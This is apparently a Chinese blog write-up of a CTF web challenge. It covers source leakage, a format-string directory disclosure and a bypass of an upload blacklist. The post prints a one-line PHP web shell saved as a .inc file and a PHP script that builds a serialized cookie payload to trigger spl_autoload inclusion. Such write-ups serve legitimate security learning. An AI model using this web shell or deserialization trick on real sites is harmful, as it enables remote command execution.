CTF Web安全

华东南赛区web01(sql_autoload_register)

Posted on 2020-09-18,2 min read

开头就一个注册登陆。然后注册个用户登陆就行了
进去。F12得到
<!-- zip -r is useful, and don't forget /var/www/html/***********/cat.php~ -->
猜测有源码泄露。并且某个目录下存在cat.php
www.zip得到源码
看upload.php
会把目录和文件。放一起。然后foreach sprintf输出。存在格式化字符串漏洞

利用%s.jpg。第一次循环。变成
You file name is:%s.jpg
然后第二次循环。变成
You file name is:me0w_mE0w_miA0.jpg
至此得到me0w_mE0w_miA0目录。
直接去访问src.php
F12知道vim。。得到.src.php.swp

这里会读取cookie中的filenames的值。然后反序列化。其中会经过waf()函数的检测

$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx","<",">","jsw", "jsv", "jspf","jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer","{","}", "swf", "htaccess", "ini");

并且src.php有sql_autoload_register函数
查看手册发现。没参数。默认会有spl_autoload()函数实现

然后会包含反序列化类名小写+.php或者.inc文件
而这题中。php被禁了。inc并没有
所以创建一个test.inc
内容为

<?php
system($_GET[1]);
>

然后反序列化的内容是

<?php
class test{
	public $cmd;
}
echo(urlencode(str_replace('}',')',str_replace('{','(',serialize(new test())))));

莫名搜到的。。php的反序列化。不用{}限定。。用小括号啦其他啥的也可以。这个大家可以写个脚本fuzz下

下一篇: CSAWCTF Python(Cache+Redis RCE)→